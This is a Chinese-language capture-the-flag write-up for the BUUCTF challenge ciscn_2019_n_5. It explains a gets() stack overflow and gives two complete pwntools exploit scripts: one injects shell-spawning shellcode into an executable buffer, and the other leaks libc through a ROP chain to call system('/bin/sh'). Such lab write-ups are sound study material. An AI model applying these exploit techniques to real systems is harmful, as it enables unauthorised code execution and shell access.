BUUCTF—ciscn_2019_n_5
先看看开了什么保护机制
打开64位ida看看
可以向name读入数据,而且还不小,我们看看这个地址有什么权限,去gdb里看了发现有rwx权限(要用Ubuntu 16或者Ubuntu 18),齐了,也就是说我们完全可以往这个地方注入shellcode,然后用后面的gets进行栈溢出,覆盖返回地址
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
#p=remote('node4.buuoj.cn',25112)
p=process('./ciscn')
p.recvuntil('name\n')
p.sendline(shellcode)
p.recvuntil('me?\n')
name=0x601080
payload=b'a'*0x28+p64(name)
p.sendline(payload)
p.interactive()
不过我一开始用的是Ubuntu 20(题目有说明环境是Ubuntu18),所以我gdb里面显示name的地址是rw权限,没有执行权限,所以我们接着看看有没有后门函数
别说后门函数了,参数都没有,所以我们想着要libc泄露,还好有puts函数,那么我们去找一下pop rdi片段去泄露puts的got表,然后根据libc地址去搜索偏移,然后再次调用主函数,进行一次栈溢出就可以了
from pwn import*
p=remote('node4.buuoj.cn',29449)
#p=process('./ciscn')
elf=ELF('./ciscn')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400636
pop_rdi=0x400713
ret=0x4004c9
p.recvuntil('name\n')
p.sendline('aaa')
p.recvuntil('me?\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_add))
system=puts_add-0x31580
binsh=puts_add+0x1334da
p.recvuntil('name\n')
p.sendline('aaa')
p.recvuntil('me?\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()